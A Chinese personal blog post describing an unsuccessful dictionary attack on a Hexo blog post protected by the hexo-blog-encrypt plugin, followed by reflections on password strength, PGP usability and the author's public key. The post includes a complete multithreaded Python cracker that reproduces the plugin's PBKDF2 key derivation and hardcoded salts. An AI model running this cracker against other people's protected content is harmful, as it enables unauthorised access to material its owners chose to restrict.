博客字典爆破尝试

起因


 

碎碎念


这已经是我第二次遇到加密的博客了,有了经验,那就是这玩意是不上传服务器的。
既然是在前端,那怎么确保安全性呢?
翻阅源代码可知,作者也是挺聪明的。
image
image
已经知道放在前端的东西会被各种手段操作,但是如果是用的AES-CBC加密,并且密码完全不放在前端,又当如何?

只剩下一条路了


爆破,或者用字典,这其实是同一条路。
摆在面前的是类似于压缩包的东西,那就爆破一下,博文应该不会设置太难的密码。。。。吧?
把代码丢给ai喂一下,让ai把python版本的代码吐出来,顺便加一下多线程什么的。
就变成了下面这样:

点击查看代码
import threading

from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import unpad


def hex_to_array(s):
    data = []
    for i in range(0, len(s), 2):
        num = int(s[i:i + 2], 16)
        data.append(num)
    return bytes(data)


def get_hmac_key(key_material, key_salt):
    return PBKDF2(key_material, key_salt, dkLen=32, count=1024, hmac_hash_module=SHA256)


def get_iv(key_material, iv_salt):
    return PBKDF2(key_material, iv_salt, dkLen=16, count=512, hmac_hash_module=SHA256)


def get_key_material(password):
    return password.encode()


known_prefix = "<hbe-prefix></hbe-prefix>"


def decrypt(ciphertext, password):
    key_salt = "hexo-blog-encrypt的作者们都是大帅比!".encode()
    iv_salt = "hexo-blog-encrypt是地表最强Hexo加密插件!".encode()
    try:
        key_material = get_key_material(password)
        hmac_key = get_hmac_key(key_material, key_salt)
        iv = get_iv(key_material, iv_salt)
        ciphertext_bytes = hex_to_array(ciphertext)
        cipher = AES.new(hmac_key, AES.MODE_CBC, iv)
        decrypted_data = cipher.decrypt(ciphertext_bytes)
        unpadded_data = unpad(decrypted_data, AES.block_size)
        if not unpadded_data.decode().startswith(known_prefix):
            return None
    except ValueError as e:
        return None
    return unpadded_data.decode()


def worker(ciphertext, password_chunk, event):
    for password in password_chunk:
        password = password.strip()
        if event.is_set():
            return
        result = decrypt(ciphertext, password)
        if result:
            print(f"Decrypted successfully with password: {password.strip()}")
            event.set()
            return


def brute_force(ciphertext, passwords, max_threads=5):
    results = []
    threads = []
    password_chunks = [[] for _ in range(max_threads)]
    for index, password in enumerate(passwords):
        chunk_index = index % max_threads
        password_chunks[chunk_index].append(password)

    stop_event = threading.Event()

    for password_chunk in password_chunks:
        if password_chunk:
            t = threading.Thread(target=lambda chunk=password_chunk: worker(ciphertext, chunk, stop_event))
            threads.append(t)
            t.start()

    for t in threads:
        t.join()

    if not stop_event.is_set():
        print("No valid password found.")


try:
    with open('enData.txt', 'r') as f:
        ciphertext = f.read().strip()
    with open(r"你应该有自己的字典8", 'r', encoding="utf-8") as f:
        passwords = f.readlines()
        brute_force(ciphertext, passwords, max_threads=200)
except FileNotFoundError as e:
    print(f"Error: {e}")

爆破


image
也许你不相信,但是真的有人会用超长的密码去加密一篇博客,有鬼吧。
我没有加进度条,但是200个进程跑那么久跑不出来已经很说明问题了。

思索与展望


密码应该是随机生成的密码,毕竟是测试博客,不贴链接了避免引攻击过去
如果为了方便阅读和分享,把密码设置得很短,那样的话容易被爆破。
而如果为了能够避免爆破,把密码放在服务器,那样会造成服务器的更大压力(需要解密)
然后如果为了避免爆破随机生成密码,那样密码就会难以交换。

出路


非对称加密!
是的,非对称加密可解这个问题。

点击查看代码
-----BEGIN PGP PUBLIC KEY BLOCK-----

mDMEZ1EfmBYJKwYBBAHaRw8BAQdA6qG43AJ3pw9sd4PviX9WUYLy0MygwbYYC9WQ
HI/4dP60FlRpbW1vYyA8dGltbW9jQHFxLmNvbT6IkwQTFgoAOxYhBAkeITdBrQIt
QWhQ9JJWfviGvwwPBQJnUR+YAhsDBQsJCAcCAiICBhUKCQgLAgQWAgMBAh4HAheA
AAoJEJJWfviGvwwPR3wBANk6S/71wZYI6J/if8WHaJmADmGJMi0Vfjn7aXSjCTe/
AQDdVJZbJidKNCszkyYLm+G5rL2impN9sRrHRHAd0IsHCLg4BGdRH5gSCisGAQQB
l1UBBQEBB0CXa82EutF3trEi8Tcu62LmZeNIO/uy4K55Mjh5s1PZYgMBCAeIeAQY
FgoAIBYhBAkeITdBrQItQWhQ9JJWfviGvwwPBQJnUR+YAhsMAAoJEJJWfviGvwwP
00YA/RU8UDp5KDvf5E1kSRbTIMLEFLlKYIqyQcOHQpu0dYkdAQDBZTcsZcNIjxJ9
C2hq+ebK4sQH9/tvnLLkyX4S/84WBw==
=UuMz
-----END PGP PUBLIC KEY BLOCK-----
顺便“宣传”一下个人的公钥。 # 但是,代价是什么 --- OpenPGP其实有很多糟心的地方,其中最糟心的地方莫过于——

image
我实在不想对这个糟心的东西发表任何意见,都5.0了居然还不支持中文。
另外还有手机版的KeyChain无法解密电脑版加密的数据,翻遍了网上的资料,发现是因为电脑版有新特性手机版不更新导致的。
社区混乱不堪也。
这也是,pgp毕竟是老古董了,但现在的开源软件基本还是会有一个sig。
因为它古老,也因为它古老。

全新的非对称加密


形势不容乐观,如果想要开发一个新的软件进行非对称加密,不开源,肯定会被怀疑有病毒;开源吧,第二天各种魔改版又出来了。
我又有多少精力去维护一个开源软件呢?
如果有这样一个非对称加密,在电脑上运行,浏览器询问电脑上是否存在公钥,如果存在,则提交加密数据,电脑解密,返回浏览器,浏览器显示文章。
但是这样的文章(加密的)写出来给谁看呢?不过是炫技罢了。
碎碎念就到这里吧

posted @ 2024-12-25 15:43  Timmoc  阅读(28)  评论(0编辑  收藏  举报